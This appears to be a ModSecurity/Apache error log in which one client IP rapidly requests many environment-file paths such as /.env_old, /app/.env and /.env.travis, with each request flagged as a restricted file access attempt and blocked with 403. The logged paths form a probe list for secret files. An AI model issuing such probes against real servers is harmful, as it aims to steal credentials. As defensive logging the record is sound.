[Thu Feb 26 01:02:43.171088 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EQAAAAY&quot;]
[Thu Feb 26 01:02:43.188654 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6AAAAAE&quot;]
[Thu Feb 26 01:02:43.188875 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6AAAAAE&quot;]
[Thu Feb 26 01:02:43.189022 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6AAAAAE&quot;]
[Thu Feb 26 01:02:43.212068 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EgAAAAY&quot;]
[Thu Feb 26 01:02:43.212302 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EgAAAAY&quot;]
[Thu Feb 26 01:02:43.212470 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EgAAAAY&quot;]
[Thu Feb 26 01:02:43.252406 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EwAAAAY&quot;]
[Thu Feb 26 01:02:43.252636 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EwAAAAY&quot;]
[Thu Feb 26 01:02:43.252795 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EwAAAAY&quot;]
[Thu Feb 26 01:02:43.270424 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6gAAAAE&quot;]
[Thu Feb 26 01:02:43.270667 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6gAAAAE&quot;]
[Thu Feb 26 01:02:43.270823 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg6gAAAAE&quot;]
[Thu Feb 26 01:02:43.281778 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FAAAAAY&quot;]
[Thu Feb 26 01:02:43.282017 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FAAAAAY&quot;]
[Thu Feb 26 01:02:43.282172 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FAAAAAY&quot;]
[Thu Feb 26 01:02:43.323747 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7AAAAAE&quot;]
[Thu Feb 26 01:02:43.323983 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7AAAAAE&quot;]
[Thu Feb 26 01:02:43.324146 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7AAAAAE&quot;]
[Thu Feb 26 01:02:43.343549 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FQAAAAY&quot;]
[Thu Feb 26 01:02:43.343752 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FQAAAAY&quot;]
[Thu Feb 26 01:02:43.343892 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4FQAAAAY&quot;]
[Thu Feb 26 01:02:43.353747 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7QAAAAE&quot;]
[Thu Feb 26 01:02:43.353969 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7QAAAAE&quot;]
[Thu Feb 26 01:02:43.354137 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7QAAAAE&quot;]
[Thu Feb 26 01:02:43.386740 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7gAAAAE&quot;]
[Thu Feb 26 01:02:43.386983 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7gAAAAE&quot;]
[Thu Feb 26 01:02:43.387143 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7gAAAAE&quot;]
[Thu Feb 26 01:02:43.425611 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7wAAAAE&quot;]
[Thu Feb 26 01:02:43.425860 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7wAAAAE&quot;]
[Thu Feb 26 01:02:43.426030 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg7wAAAAE&quot;]
[Thu Feb 26 01:02:43.448560 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2gAAAAU&quot;]
[Thu Feb 26 01:02:43.448794 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O2gAAAAU&quot;]
